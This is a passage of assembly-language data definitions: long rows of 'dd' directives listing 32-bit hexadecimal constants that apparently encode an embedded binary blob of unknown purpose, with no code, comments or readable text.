0D000A7B4h, 8DA6D2C2h, 0E1D101Bh dd 82FB42F4h, 7D357383h, 0D165410Ch, 0A0A3A990h, 85FD3Ch dd 0DCB92D6Eh, 11D7BACBh, 127C18C0h, 3A236728h, 5580A873h dd 0FDC7A70Ch, 3B00F841h, 8C65A911h, 781A64h, 84D69EC2h dd 723F74EDh, 2BC8A554h, 9A909C50h, 980B888h, 84BC9803h dd 34C62A00h, 8105B18Ah, 0A635717Ah, 8093F848h, 1DBE415Fh dd 40592E0h, 0E17A5A96h, 0C7E6F1C0h, 0F8B61F91h, 559B7BD6h dd 44E3083Ch, 0F5C321C0h, 0A7FB8B00h, 1FE1AA24h, 0B020C0D4h dd 0A117D031h, 0E7A0430Bh, 5E640040h, 95F8F3h, 4BA7E6E5h dd 0A4D74855h, 9800B0FCh, 4C688778h, 621B585Ah, 0D5CC50E0h dd 1598D03h, 5681FBD2h, 0F477A278h, 72008A5Ch, 0C523A0EFh dd 60E8C191h, 0CF4630C7h, 0C0C1E762h, 15A82F29h, 385084DCh dd 0CA802C13h, 1024E1F5h, 0AF3A7E07h, 0EEDD00AEh, 5BAAA660h dd 927031B5h, 0F3CA1CA8h, 0D8574800h, 2AF9D26h, 5C593944h dd 933009DCh, 0BF1A97D1h, 5D687718h, 99589h, 0ED48932Ch dd 6F76C4E3h, 5E081200h, 0C2B32AAAh, 8CEE501Dh, 0AC195467h dd 967BC3h, 8C1FFFFAh, 80A3A1F9h, 21555330h, 6FAC52h, 44DF920Dh dd 32AD1C7Ch, 0D13846F4h, 0F6568A3Dh, 18BAA08Eh, 0B6393A53h dd 996200A2h, 0CE74DB59h, 0C200ECB7h, 20367740h, 0F97A450h dd 0CD47761Dh, 5D375C4h, 8440BCFBh, 1664A4C7h, 0D09015DDh dd 0FB0CB4E7h, 0B21F7D2h, 2E065C05h, 2000EC93h, 2D68E4Ah dd 6E6F01D4h, 0EDA659Ah, 3F905734h, 8B698A20h, 0B8A48053h dd 3DBEE44h, 0DE9C0845h, 81B818D1h, 35016E98h, 0EA37FF27h dd 0F849A390h, 0E8F4D670h, 5EFC30CEh, 0D20C1B19h, 40821100h dd 0A59A50A0h, 332938FDh, 72286C81h, 80DCF0F9h, 0D4AEA471h dd 2D89CFh, 7A668416h, 0EDB5A81Bh, 68C83430h, 3ED26B8Bh dd 97009C7Eh, 5ABB86AEh, 0BA54FF5Dh, 4A70D9B4h, 38C11E33h dd 83A14C56h, 89BD2000h, 76068238h, 0CF23F012h, 70A43D00h dd 774FB05h, 2C545391h, 0D262F127h, 980F073h, 0B27819C0h dd 0F0775598h, 8584206Eh, 0B5FDCE00h, 30614386h, 26F0EB41h dd 51EE61D4h, 9F230DFBh, 203B7740h, 7215F863h, 71CE309Dh dd 797DF810h, 1BD769C3h, 32FAE94Bh, 1DA43980h, 37AFC535h dd 41E2640Fh, 5216E08Ch, 16351DEh, 0D79D6BABh, 8CF0FF25h dd 5178B979h, 0AC8E0304h, 4B89E1F7h, 0CAED8590h, 967C6F18h dd 3AF61h, 219EBDB9h, 80DA9AFCh, 0FE9118C0h, 0D080DAAh dd 90F1ABF7h, 1F1B3030h, 78154C1Eh, 0D3F94A40h, 159F642Bh dd 8CFF1A26h, 958DB90Ch, 224C3D30h, 0F81B00F7h, 4E76716Eh dd 7F323AE0h, 89DD8160h, 67002294h, 0F5CB514Ah, 309D4002h dd 768955CDh, 64284CBBh, 0F001907Fh, 1CB55A1Fh, 0F180E26Eh dd 62CDB187h, 710096CAh, 7702B033h, 1D4A087Ch, 91B2FFECh dd 35BD0049h, 0C88AE10Bh, 17D7145Ah, 8D879C6Dh, 783FE0BBh dd 1D01E53Bh, 0F181DCF5h, 88C8EDD1h, 835C0ADBh, 8B8CE4Ch dd 4A80851Ah, 0E1FE1CFDh, 733D3BB0h, 7CC005AAh, 30767F77h dd 0F1115EF8h, 0F7002BEEh, 0C4D32A60h, 0C0AA75FCh, 0BD315449h dd 0AE02136Ah, 0FAB6CD03h, 0DFE12E4Dh, 0F661BF71h, 0D30940DDh dd 0F8A5E3h, 71E90B23h, 201F3C7h, 82DC6C1h, 0A7CDB0C3h dd 533824h, 95254734h, 549F9D51h, 6305B4A4h, 724308B5h dd 8BC41403h, 48FAA82Fh, 0A93206C8h, 79F16CD5h, 1D0099FAh dd 0D0636545h, 568AA4h, 21644ACAh, 3D6F6EBh, 25FA99C6h dd 0C7C800C9h, 4DB1EE4Ah, 170078A4h, 0F2BF92BBh, 1213F8C5h dd 43860126h, 3C05FB24h, 4038390Fh, 737A0404h, 0E06BD88Ch dd 4897DD5h, 9006CDA6h, 87C84695h, 597302D9h, 558F2E4Ah dd 0ECC21801h, 97D52BE9h, 3BDC7AE0h, 5300E508h, 52AE94B0h dd 0C600D3F2h, 6B49F432h, 3BCE71FCh, 0AB8FAA81h, 1A61E9FAh dd 0E089EF8Ah, 0CC06F008h, 559994A7h, 71610C18h, 0BF3188B2h dd 28F4DA45h, 0C1227A19h, 0C79DEE10h, 0A20FFC11h, 52C9CF05h dd 1C04A42Dh, 1F46852Eh, 0FCF808F3h, 6B4FBF09h, 9A8700D9h dd 0C41BC2Bh, 13634462h, 0A801AD58h, 1CFAF684h, 38BD4B38h dd 3E46A100h, 0CB27C8C3h, 0B05F9E00h, 90B21858h, 289706AAh dd 313E48DAh, 17A60700h, 9E7CB442h, 0A3A90312h, 0A82B2CF9h dd 0C88600F5h, 0F02A7DBBh, 0E552260Bh, 0A5EC006Ch, 0FD47BDh dd 0B3480A49h, 0C2CBC395h, 0A8553900h, 0B03C8936h, 0A1000DFh dd 0EFD27B06h, 7C0C9F48h, 893296Ch, 3DC6002Ch, 0EEC1CEA9h dd 0C21F198Ch, 10396AFAh, 7B005D10h, 0EB14E873h, 0C000F34Ch dd 0BBFED796h, 5CB75Eh, 0ABDCEF25h, 9007E784h, 58490C31h dd 4980F035h, 9C5008DAh, 4500CEB6h, 910C8A8Ch, 0CA96B84h dd 7F8AD19h, 0EE0CD228h, 0A07B69FFh, 0E903E94Bh, 853B82D8h dd 0F3F4CC04h, 0CEC06498h, 0E2AA5CD7h, 944B3A7Ch, 0C3CC8483h dd 817BA18Fh, 0C15B2433h, 0C418B89h, 6D3C3551h, 43002818h dd 0C81E531h, 1D9B6587h, 1F617C52h, 6990C121h, 80723EECh dd 7A58F598h, 1ED9E1BCh, 0ED0BB8Ch, 19998723h, 0C02B2050h dd 8B896C1Eh, 3063383Eh, 65B320BDh, 0E78A00CAh, 134F5948h dd 0D710E22Dh, 9100BC88h, 236F373Ch, 56633338h, 1640D350h dd 0C0D008h, 641481ACh, 0DA033F26h, 0ECE221B4h, 0E16114D1h dd 0B20044B6h, 51EEABCBh, 30C7234h, 4889216Dh, 2A41945h dd 20DC28D1h, 0F500466Fh, 0DD20FB8Ch, 0C02A6310h, 35E71391h dd 9F00AB5Bh, 17EEFC3Bh, 6EC734Fh, 0E165BEBBh, 8A004907h dd 78770F31h, 4B4144h, 875138Ch, 23FBA63Ch, 806BDC00h dd 0CE28EA9Fh, 0DA873E6Ch, 160C723Ah, 2DC1F663h, 5F9A6160h dd 39E7912h, 57CB8995h, 0D900AFE1h, 1A359BC1h, 62DF69h dd 1A03E5Bh, 41B8CC78h, 4EE22C00h, 0D555EBDAh, 809CA969h dd 0E7E9E4h, 61C5A2D4h, 0B82085EDh, 0C1D5900h, 326F138Eh dd 8FD91C3Fh, 0FE45C639h, 0BF18D930h, 0F8496E6Dh, 4BDD0368h dd 30B281FCh dd 50DA9FA8h, 0E28A7B2Ch, 0C002BC22h, 0E17E54F7h, 126BE01Bh dd 87DB1E15h, 7D3EB81Ah, 3D6C7187h, 0C13AB3F6h, 610015B3h dd 49545A04h, 2F7372h, 56BA3D8h, 0DB47DC31h, 0F9527EF2h dd 85E80094h, 3C3FD290h, 0DC2800B1h, 0DB19FC80h, 317F7A49h dd 0E2043702h, 907E30DAh, 709ACBB0h, 32670069h, 25D8A90Fh dd 8000219Dh, 0F4D74D57h, 1545ED51h, 80DEA00Dh, 7C567411h dd 62780949h, 205A8A18h, 1F967F04h, 5555404h, 94342D4h dd 0B4887523h, 1A00988Dh, 0BB147F11h, 0A475089h, 5A44021h dd 486C47B4h, 86506B40h, 680B24D8h, 0C1E10C28h, 93A9679h dd 970480BFh, 7F7DAA85h, 117E01BDh, 0C0E2C825h, 0F8584173h dd 0C8B13172h, 41DF832Ah, 23124B01h, 0C180133Eh, 4F0BFD30h dd 99020F3Ah, 0FA434BB5h, 5274A4B3h, 40F76345h, 9A3C03A4h dd 9006797h, 0D8FA3AFDh, 13D907h, 5C18048Fh, 50DF6479h dd 271BA70Fh, 5B756401h, 10BE0721h, 0A828E651h, 467670h dd 0E3396B19h, 8892311Fh, 87241500h, 0DF9FDB62h, 25F80CF3h dd 32D1E33Eh, 8B231007h, 0C02EFBB3h, 964EF801h, 794C1C3Eh dd 83F0F025h, 0E3806EBAh, 2E500FC1h, 382F894h, 4C846A78h dd 21E888FAh, 0F56180FFh, 0BA421EC2h, 0B9813044h, 0D85F50A9h dd 81AA58h, 0BADD2E41h, 0D1186Bh, 4F9B450Fh, 501BC14Ch dd 2A247473h, 0F4409025h, 0CC5376h, 0D40E75ACh, 0D24D2239h dd 3E69B301h, 0E12BBACDh, 0B8000C22h, 3FE94A46h, 0A6297515h dd 63898484h, 0D2482092h, 349F267h, 0F49B0D6Ah, 6382B081h dd 0CA009844h, 0A39AF5FCh, 24A27BCh, 33758C86h, 43577FB3h dd 0C3E5B8B4h, 0D4041553h, 7E00885Dh, 9054DB28h, 28F92F0Bh dd 22045154h, 266A00FCh, 0D55A7A79h, 0E22E15B9h, 211890BFh dd 4774F1DFh, 57330602h, 911C83F6h, 7010F4B0h, 893E6D6Eh dd 53858035h, 54CC9DE7h, 0D321C9EDh, 8BE8B410h, 0DBB16E00h dd 0EBBA8533h, 2784A2A0h, 0B8203E74h, 28891F0h, 7081E032h dd 0CC04A12h, 0AF0C26F8h, 39EA633Ch, 3923287Ch, 28300744h dd 0C26BDA53h, 0E0A13AC2h, 805ED8DCh, 1D613B81h, 542DE8h dd 83E58A27h, 0BA5391DAh, 0A86D7400h, 3AEF98ADh, 39850569h dd 47AAE168h, 333AB88h, 280D7DBh, 0C200821Eh, 223BE70Ch dd 58251AE1h, 0BF0C075Eh, 6371CA77h, 8258B8A8h, 927BFF07h dd 12B9F8D8h, 18F49200h, 161A80h, 1ED1B945h, 38127F64h dd 78616700h, 0D6B331F2h, 0F11C6222h, 0D881D9E8h, 2455D7E1h dd 0F0C85AC8h, 18D9640h, 23476151h, 95F12A93h, 1222AED0h dd 20620369h, 600BFA14h, 0EDEEB3Eh, 29B03EDCh, 55A8A272h dd 0D328CCD2h, 91BA0020h, 147083E4h, 9C434C04h, 0EC81ED7Bh dd 6B10DF40h, 970DEF62h, 0E1838EE0h, 36E4F1F1h, 0C2E7008Fh dd 7F5E72C0h, 780D8143h, 29F5A14Dh, 200DEC02h, 255A18E8h dd 0AA110660h, 74181BAh, 6CCD96DEh, 0DABF60F7h, 8D05626Dh dd 1A63E953h, 0E05A00D3h, 0E8DD9375h, 0F1A6EBFFh, 53DF60D8h dd 0AD1EA03Dh, 6600DC57h, 0FEA8969Bh, 4F80C25h, 21B9A5E1h dd 2581F36Eh, 7CC062E9h, 7C3C4Dh, 3E2FCE15h, 0E44E3DF4h dd 371833F4h, 6431E225h, 6CC9009Eh, 3516AF1Bh, 0F701C36Fh dd 0C5CA10Fh, 8339A88h, 84805C58h, 425AC1FFh, 0FEEC5600h dd 64184821h, 8CE204D8h, 0EBB976A8h, 90313EC6h, 596222F4h dd 0DC6F730Bh, 3D2000E4h, 24EF48D6h, 40C486C0h, 0D2656BFBh dd 0E23C38C7h, 0C04EBCFAh, 81FB9EBCh, 986C0042h, 0CEE58BFAh dd 91283F69h, 0A803A86Eh, 92032B3Dh, 6CBFE20Dh, 0AF8D4468h dd 6BAA3B02h, 0C630C5C2h, 4D6C033Ch, 1CDCF198h, 0C4EB9000h dd 249AF454h, 0FD2E004Ah, 6BFA7FABh, 0B500E377h, 1B73DAE5h dd 917A0292h, 3BF80F6Ch, 11041976h, 54D82458h, 7480BC99h dd 148F734Dh, 41D098Bh, 7C489B26h, 448692DBh, 0F61E30E2h dd 0D814F5DDh, 3C0C93C4h, 60D3210Ah, 643B716Fh, 0B9035F87h dd 6331FA16h, 41E10301h, 225672D6h, 0BA82B4F0h, 0BC870329h dd 1823150Bh, 409757Ch, 90EA4969h, 0A334C8E0h, 9FD46139h dd 5E802F44h, 13DDCAFAh, 29BFC6Bh, 9A6D97AAh, 5C80248Ch dd 0E0FE34EBh, 2B378000h, 5C256952h, 4F4A0A44h, 60D0C0F6h dd 6C03D270h, 50F864A1h, 0A916A3Ch, 1766381Ch, 0C6BE8E80h dd 5C9BBBFh, 0DA50D71Dh, 0DDCC0A56h, 0E1248DC8h, 8EC66081h dd 34B22C00h, 60710640h, 0CB760062h, 7551C721h, 0D5E8F61Bh dd 1415934Bh, 4077C85Ch, 0D4FCCE9Fh, 0C011416Eh, 4FB42C46h dd 0F0D50088h, 8B386CB7h, 2151891Ch, 435BD040h, 795D3600h dd 1385CB65h, 9DB0157h, 990D1770h, 0C12830DAh, 0A4EFE188h dd 4B41F8D8h, 798826DFh, 0FA3C87F8h, 0C03A17E9h, 7F43B041h dd 2C69C3Eh, 0DC22BB76h, 0DDC5E149h, 0A0754FF0h, 88F8822Ch dd 33094030h, 25F4CF3h, 21376CC4h, 48B8A445h, 0EA847384h dd 0EC360C80h, 0C3987163h, 5A00D8B1h, 97BE5150h, 177EADAh dd 99DF5489h, 52EF852Ah, 44290270h, 8742003Ch, 90A15509h dd 363BC878h, 0BB930F4Ch, 0DB9B4002h, 2E81717Fh, 11F0FA77h dd 0F92118C2h, 2EC059h, 278ACBD3h, 0D6E2F7CEh, 3C98A4A4h dd 0BFC4B02h, 465DC425h, 920744C8h, 61C03400h, 0FF4CBAABh dd 0C144CB4h, 0AC020AC3h, 0A72772E0h, 57E7507h, 0B64041A5h dd 55A737Dh, 0E0F984B8h, 98A2000Ah, 6191946Dh, 7FFD8F3Ch dd 0E6F0B03h, 88086EC5h, 0DCF1A11Ah, 0C7400E19h, 54CF3898h dd 0CC63BD38h, 71DD1E7Ch, 0D388AECh, 30C6F76Ah, 59DE4h dd 4011A40Ah, 61492CA9h, 896A6B01h, 0E4F26EC4h, 0D99E29BAh dd 0C6ED00A8h, 0BEE92BB0h, 2400AD76h, 54AF9F93h, 0ECB0DE6h dd 4F777840h, 91C234E0h, 3F76F6E9h, 0BD28A503h, 0E8FE270Fh dd 0F530ECh, 294A87F8h, 0AB49BB07h, 0E9A4401Ch, 0A0EFC301h dd 40B8D267h, 6516B200h, 63C199EDh, 0F4F4F226h, 15122907h dd 34A546B0h, 0A27C06AAh, 797DD2A9h, 0CEA3A607h, 13A0791Ch dd 75FAFB2Dh, 0DCBC002Fh, 780E2BEBh, 0EE0047F0h, 31BFAB42h dd 18482645h, 89A15E16h, 0B53D699Fh, 826600F3h, 8FFD59A7h dd 4AAF0C8Dh, 44A1C009h, 0D4854C01h, 95BE7C16h, 1E74BE8h dd 0F8E077B0h, 0C7FFA246h, 182CAC00h, 7A876BC3h, 0F28000EFh dd 0C96B9F1h, 0FC1D179Ch, 4401B595h, 0A268B66Eh, 611869C4h dd 0F8A968C4h, 0F19998A3h, 3760F4B8h, 0F1664Ah, 0EAD12E09h dd 0F005200Bh, 18C38C67h, 0CCB2429h, 6A300054h, 5D9120F4h dd 39BE6630h, 2D9DF93h, 5161813h, 0A3C04B73h, 470C36F4h dd 501ADE01h, 0FFA30EE0h, 439FCD6Dh, 0C75AEE1Bh, 71BB9100h dd 2D6493B0h, 0D0A400A6h, 0DEA566ABh, 43306332h, 0E347C0D3h dd 0B94C88EBh, 0F2111C7Dh, 0F900C098h, 0C8074A70h, 7E60CFF1h dd 66D720D9h, 0E5CE4831h, 0C58E793Fh, 62A07C81h, 80BE69BBh dd 0D6277700h, 0FB4ACBB8h, 28B548B9h, 7081EC00h, 0AE92A545h dd 0C85B1818h, 33302B1h, 3891FD75h, 57F03D9Dh, 451D46C7h dd 91716663h, 98E44DDAh, 3313F0AEh, 0C5D4A3EBh, 0BC82B382h dd 2B00B61Dh, 18C0F0A6h, 609338BEh, 8660D291h, 0D50105C1h dd 794F0072h, 0BAFF3449h, 6752EA36h, 0A9E1FC0h, 0FA26F940h dd 67DDDA1h, 59857848h, 0A402B1DAh, 0A2D5D168h, 84466h dd 352CA5E0h, 0D00E2467h, 947EC777h, 95302FF8h, 0D18B89EFh dd 0DC9D00C0h, 0AF67B619h dd 3406A253h, 0B95E0CACh, 27610061h, 0C21A9CD8h, 9430BFE3h dd 0A3941E5h, 0AF063B30h, 0BAF95C81h, 0FB50DB46h, 0D289B9B3h dd 64E9807Fh, 3D31A8Ch, 0F49950E4h, 76DD0E3Bh, 0BEA720h dd 0C0EC2C4Ch, 0B46EC178h, 0E436C678h, 6F41569h, 5E3488D8h dd 406C421h, 80FABCB2h, 6EEAD822h, 0F5C2F607h, 24E05A42h dd 188285C7h, 48545DA3h, 7C2067E9h, 14DE3892h, 469B007Eh dd 37E50735h, 0EE7F22DBh, 0C687D114h, 0FB33C0A4h, 0C0F494E1h dd 8D985E91h, 46006D4Eh, 6973EF28h, 617252h, 6E0D6660h dd 82A52F53h, 247D110Fh, 84C958C9h, 933A88C1h, 0B5B49E50h dd 0F72E88h, 2045A568h, 664D9839h, 39C68032h, 23C021B8h dd 6489AAF0h, 0CC4C5F02h, 834A99DDh, 11E71386h, 157B2D28h dd 0C47CD2h, 7945A65Ch, 0B885413Dh, 0CAC40692h, 61E0665Ah dd 0F399A311h, 6E11200h, 29119B61h, 79B09CB8h, 2D59500h dd 6B05010Dh, 0E003EA2Fh, 0C4930630h, 0D1BAFBA9h, 0F71A215h dd 5D630CBCh, 9A19B6h, 475833A1h, 0EB26DAF0h, 18951C3Ch dd 2E79DF65h, 29A4F414h, 11DCAA73h, 0C1F8007Dh, 0ED112C9Eh dd 90A4E045h, 0C39A227Ch, 0EB217C14h, 19B0307Ch, 0F3CF1h dd 0EBACC9Ah, 0ED396F50h, 0D75809FCh, 5AEF026Ah, 41F9C521h dd 4C10E690h, 0C71F6A64h, 379D503Bh, 0DD78CD06h, 0CB10E990h dd 0D72D2FA9h, 718D50FDh, 2C6858ABh, 44DCB828h, 20012FF9h dd 0A2C47E42h, 0C851255Eh, 9848FCA9h, 44A72F1h, 0EE3236A5h dd 0F9E2C72Ah, 2CA35810h, 1E56B61Dh, 3EA99806h, 0CC31619h dd 7E01AB6Eh, 0A25B17F9h, 50861980h, 782A19EAh, 0F2B64001h dd 4E6C7913h, 487210F0h, 2880249Ah, 1AA930A0h, 12DD1500h dd 5580893h, 0F8EF0BA1h, 1818E6F2h, 2E036CEBh, 70DA7A3Ch dd 66769141h, 0C4A3D4C4h, 9773A2A9h, 93808278h, 32059C41h dd 52A5069Ch, 16E86A0Fh, 14A404AAh, 0A20C7C1Ch, 63390E5Dh dd 1C79FB68h, 11F43700h, 7C309EE4h, 0AD8B26D0h, 578A008h dd 83FC0F48h, 0C27580F4h, 0F1017DC0h, 1FEF5CBDh, 70BD4760h dd 0F9DB4C18h, 0C4A885D2h, 0BEF248B1h, 80DA3938h, 0D1374D8Dh dd 18BFD970h, 29B4D2F1h, 240003D8h, 0BA80CFA6h, 26514Fh dd 655568BEh, 2B5B4D1h, 0A2E0D4F7h, 84F2041Bh, 0E6A68039h dd 7D1806A4h, 18FB1C39h, 11140CFCh, 44CFF3h, 0EA3ABF6Fh dd 1E52B80Fh, 8CBDA163h, 0B72187D2h, 0EF34CC00h, 0DFBC99C7h dd 108090C9h, 8BC41168h, 9370053h, 51C16E0Eh, 0C422C8C7h dd 92C72C4Ch, 8974200Eh, 0D200F4FCh, 0BD4B2E8Ah, 0B0DB089Ah dd 283605E8h, 0C18BECB0h, 927B68h, 90F8E40Dh, 8E77071Ah dd 40AEA181h, 1A2CA2B4h, 3D45FD00h, 79F4A9F3h, 1007004Bh dd 0BCC049B7h, 5BE6FE61h, 0D07E099h, 67A036D2h, 0F82A5DF0h dd 9E590163h, 6E2ED172h, 8C7BCCE9h, 0EFA31500h, 0C8499B98h dd 106263F8h, 4900AF5Ah, 56DF8319h, 5DA5E4h, 0E53608D2h dd 5FCA8243h, 79629C01h, 0DEA740EBh, 84B95030h, 800E6B22h dd 22C01BD8h, 34ECF867h, 414E849h, 0AF0805C2h, 96188Ch dd 3DBA219h, 0BD7BD906h, 6E476311h, 0FB00CF21h, 0A57E4FCDh dd 582A0084h, 470EA289h, 8800B228h, 62D4333Dh, 14A60C91h dd 9004A4D6h, 9EB89FC0h, 0B0B5F33h, 80951976h, 0CC2AB7EDh dd 978919A1h, 8B5D081h, 0C4122070h, 1099FDF8h, 13CE2E01h dd 0EC32357Dh, 0C03A2C48h, 0E6390C44h, 96DC0706h, 0E21FA287h dd 6434BFFDh, 94E48084h, 448B00Dh, 93F4AED2h, 603053C7h dd 398E2AAh, 2C48BFB9h, 8CCC990Ah, 37B5FE0h, 5E70A47Bh dd 0A68A9C00h, 0ACC2EC72h, 8C9258F4h, 20806ACBh, 0D7B5932Fh dd 16C8C852h, 6828D839h, 13E60A50h, 0B321F0h, 0C8D63EEEh dd 50EF094Bh, 35B1BD80h, 0AA8B2C00h, 9EB0617Ch, 5E160910h dd 0F8A4BE49h, 921D40D7h, 0B00ED381h, 8C6E00ECh, 69095AE5h dd 2505FC5Dh, 0F1A18A33h, 89E1B887h, 2024ABD2h, 0B8030327h dd 399BB0F5h, 0C00A83A1h, 0A20AEB7Fh, 6429F474h, 46CF2E88h dd 5A1341A9h, 0BBACA4h, 61A14924h, 36067ACFh, 27DC025Fh dd 0BCA55168h, 0CC09940Ch, 311CAE8h, 0D12C6D79h, 5C0B089Bh dd 362C105Dh, 71CF4FBh, 8FC2868Ah, 2B17101Fh, 731F1F3h dd 9B2E41C6h, 9F0031BCh, 0D00E588Fh, 95307AEEh, 643619DEh dd 33E00B24h, 0F41940B0h, 25A42667h, 400C9A36h, 2F523F4h dd 9F4B6EF8h, 0CCC6A93Ah, 0BD6C1800h, 4D769BC1h, 587D9Eh dd 8D0892B7h, 6B84621Eh, 47A460EFh, 0A05E9F40h, 10553Ch dd 0C905BE40h, 0EA36ADA9h, 0B603D8BAh, 0A4655C0Dh, 0FCA2A43Dh dd 0BA3A2E38h, 927750E2h, 7540A024h, 4E321D4Fh, 0A3F0CE09h dd 1F381094h, 0FD340EA7h, 0A569D0CCh, 816DF605h, 6023D4E6h dd 8F09B298h, 20CAD30Dh, 7042E04Ch, 4810E0AAh, 887CB8CCh dd 290CB6A6h, 79F746B0h, 69EC6094h, 0F1EDBD0Eh, 0FC3CAB18h dd 0B9477CD1h, 0C04B0168h, 23484F35h, 80103C70h, 54D2CC82h dd 30B81B8Fh, 0F4319094h, 29DA7A8Dh, 49F0103Ah, 7B4007F1h dd 245E0CCEh, 0F28483C2h, 84484DAh, 0DF64A501h, 71A40FCAh dd 0F72539BEh, 942B10A0h, 0D1F17CAEh, 6A2182F2h, 60C52360h dd 0E2F658h, 4AFDB693h, 0B2A72EB4h, 87C7AA3Dh, 16BE2A28h dd 0E6D53130h, 20FD00A8h, 2E194564h, 0DD3D266Dh, 760C037Ah dd 0CF9A3Fh, 0AF2D7338h, 394E8F87h, 0B5BA40F1h, 0B3634B55h dd 0A6409020h, 0B80A0C19h, 0C311452Bh, 18DE4FECh, 0D5187004h dd 31A7B546h, 0E39DD800h, 0E1CB8E62h, 706E00A9h, 0CC74E864h dd 0A0EC7DAh, 81D8C9BFh, 0B0B606C3h, 8CDB3980h, 5603056Ch dd 197F2300h, 412D7594h, 454D0CD8h, 58A9D569h, 4584A674h dd 834DF9B3h, 0C45F1F99h, 3E11FFC9h, 2771F507h, 0F90AD3E8h dd 0C194DAFCh, 6D4DA728h, 0B4183ACh, 18CE7C56h, 0F1AB1DD9h dd 2E884E1Eh, 0CA79C098h, 0EFBB8134h, 3807F632h, 48F927D6h dd 5791C61Ch, 9442254Ch, 5B306CC0h, 3475B877h, 0E68EF900h dd 0EF64B590h, 85B41EFFh, 0B2590AC0h, 3E5C2070h, 0A606EE96h dd 59D9BE0Ah, 322C1203h, 0B5BBEFh, 0E6C2DF31h, 92101B86h dd 0DB8BE1Ch, 83B2AC2h, 0C284863Dh, 0C73FCA1h, 952DD1BFh dd 0B67E18E1h, 8C700C03h, 7FC9192h, 9876A790h, 21E1C097h dd 0AB14A8C1h, 10800927h, 362A9FC2h, 0A6B530A8h, 0BD6FBA89h dd 34612502h, 4369DE3Ah, 4727D005h, 0B5C00CA3h, 0A79B05Ah dd 37C4131Dh, 9E3D0440h, 0ED49832h, 940D727Bh, 5E008075h dd 434E6BF2h, 6607F8EFh, 757385DDh, 0EB68FBC3h, 630805CBh dd 4BC42A43h, 0C1008490h, 0B683A581h, 0D39D0E01h, 98860727h dd 0A99AEB60h, 0B848B5F8h, 0FE8A0077h, 0C87D7078h, 18182F5Fh dd 0B2E1B598h, 74BD09A9h, 6D543FFh, 19B41Dh, 0EB4D6EB8h dd 9B79CEC8h, 0B782DC0Eh, 2E3B63A4h, 6A9100D7h, 0A056B888h dd 0B5767352h, 104C63E6h, 0F44205h, 0B3E9488Fh, 14A5B97Ch dd 0B88982FFh, 0D7E0CE0Eh, 88E82EE4h, 0A94457D8h, 0D8C313EFh dd 286418CFh, 74008F0Ah, 0C9B9622Dh, 96E0BBDh, 0C3B5CFDDh dd 1959F819h, 3A8F40C0h, 30107DAh, 1FC39045h, 2E999F62h dd 9C00D8AAh, 2F4BEEE5h, 0DBB049h, 232130BFh, 0DF2DC4D6h dd 600F7088h, 91261C5h, 20C95B6Eh, 95AC114Ch, 0CC78E017h dd 55006CC9h, 0CD93B331h, 76BD720Ah, 6018A09Dh, 358700F0h dd 5C484008h, 1E12312Bh dd 9C219D09h, 7180C32Eh, 98BCC28Eh, 7200259Fh, 5969B933h dd 0CCCACECh, 0A085B75Fh, 247C83F9h, 0E8B31301h, 65912E0Dh dd 0C2A7518Bh, 5BCEFB03h, 0DDB684E1h, 500C33C4h, 7B004D8Ch dd 8E741D0Ch, 12FB408Ah, 173300Bh, 0C4F096CCh, 0B6AA1033h dd 4C912Bh, 2D48CD42h, 290095A3h, 3C28256Bh, 0E8D2E8F9h dd 0B3842676h, 284B9174h, 0DC889D0Ah, 2B07CEEEh, 0FF2769DCh dd 0F8CA7C1Fh, 919E30BDh, 6029F80h, 0A567FBh, 1EA412E5h dd 7635505Bh, 0C10C2902h, 20AC4F90h, 0C6EFCE0Bh, 0FE128BFAh dd 15000ACAh, 0C03D2B99h, 1A2F062Dh, 319BB64Ch, 524F5E00h dd 0D70BAD9Fh, 0D543004Bh, 7A3C2C08h, 4C3EA6D4h, 30B07D1Ch dd 2EF4AA54h, 70A1C160h, 1C53B7E7h, 9313D7EEh, 0E6F00CC3h dd 8A1D73E1h, 3C44A241h, 2890D991h, 3BDFE59h, 2E1A9E33h dd 318619EBh, 0CC0E30A1h, 0B24D631h, 4D6290D0h, 0F2B523A8h dd 5B184962h, 9ECC10ACh, 975A2284h, 31D671FCh, 258FD800h dd 4A7E05h, 0B126F67h, 9CF1F551h, 96D36018h, 42B6FF41h dd 407B3AA3h, 769900D3h, 0F38033AEh, 0C31DCE29h, 96000A35h dd 75C0D6DFh, 0B5BA2CB9h, 26E82B78h, 5F943D9Ch, 32828C48h dd 60CE1A77h, 5590300Ah, 0CD0868B4h, 5F8A691h, 1495F0B3h dd 0C4406B50h, 3D1888DEh, 8119E400h, 26EA7A1Ch, 4BE10FA6h dd 0A787B2B7h, 2B8AD11Eh, 0A93180DAh, 885983CEh, 80B5480Dh dd 52647702h, 88607A68h, 30B126C3h, 3B2C4700h, 0FDC9B809h dd 6130070h, 2ECD41C8h, 69E251D5h, 4D624600h, 0A8E4AF4Ch dd 8479009Eh, 0ABB5E0B9h, 0B601662Dh, 70778F11h, 39A6DBCDh dd 24D511D0h, 0BE01B82Fh, 9E4F4D18h, 2146E617h, 7C8FBA00h dd 60A3670Ah, 630D0011h, 1D161A8Dh, 918E638h, 0B259BA76h dd 29560160h, 4BB595F3h, 9838D813h, 0EEA22B31h, 0D441F174h dd 24179D33h, 43149077h, 2C7705A0h, 59191200h, 1C894C76h dd 83FD04ECh, 40A62DEFh, 28C2AE1Eh, 6DDC00F2h, 0B16FDD39h dd 0FB03DB96h, 0F0340B5Eh, 0B844D8F3h, 0CA702482h, 5012479Ch dd 976F1BC9h, 10B288A1h, 0E0A2312Dh, 4B9B6h, 0B8B3C162h dd 2300CBA6h, 0FC450539h, 16CBC43h, 0A5C2684Fh, 30B125EBh dd 0FAF88A64h, 85738F14h, 6CF42EB8h, 0C9394391h, 2F004522h dd 700BDCAEh, 0DB2CD8h, 0FA2BBE24h, 89355206h, 4FBDB40Bh dd 4B64A443h, 13A77641h, 0B156081h, 272C2307h, 9F302DB0h dd 4D93CAA6h, 9C58BC96h, 0ECA0E822h, 0DF65D80h, 0E2025802h dd 0C2FBB810h, 850C4250h, 0ECC88904h, 329C0976h, 14102BAEh dd 0B4AF6FAh, 49E8CC80h, 0C30C1D2Eh, 26442E5Fh, 0EBF32068h dd 8A728863h, 59005243h, 40D8024Bh, 749F3Ah, 0DC4E5929h dd 0BFFB9E0Dh, 408D9328h, 80F42C58h, 0EA1F8817h, 1470046h dd 0A971CE21h, 6509CAAEh, 21AFDB6h, 19D71168h, 3A49BEDCh dd 34F44C9h, 207346EBh, 21B0D7C4h, 3F029429h, 6BD0094Bh dd 221850B3h, 0DB90AB41h, 0E4A64891h, 5A6062BCh, 0C2548493h dd 0E4047h, 